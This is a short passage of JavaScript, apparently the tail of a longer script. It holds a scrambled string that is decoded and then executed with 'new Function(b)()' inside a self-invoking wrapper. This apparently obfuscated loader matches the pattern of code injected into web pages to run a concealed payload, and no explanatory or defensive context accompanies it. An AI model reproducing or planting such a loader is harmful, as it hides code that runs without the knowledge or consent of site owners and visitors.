]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();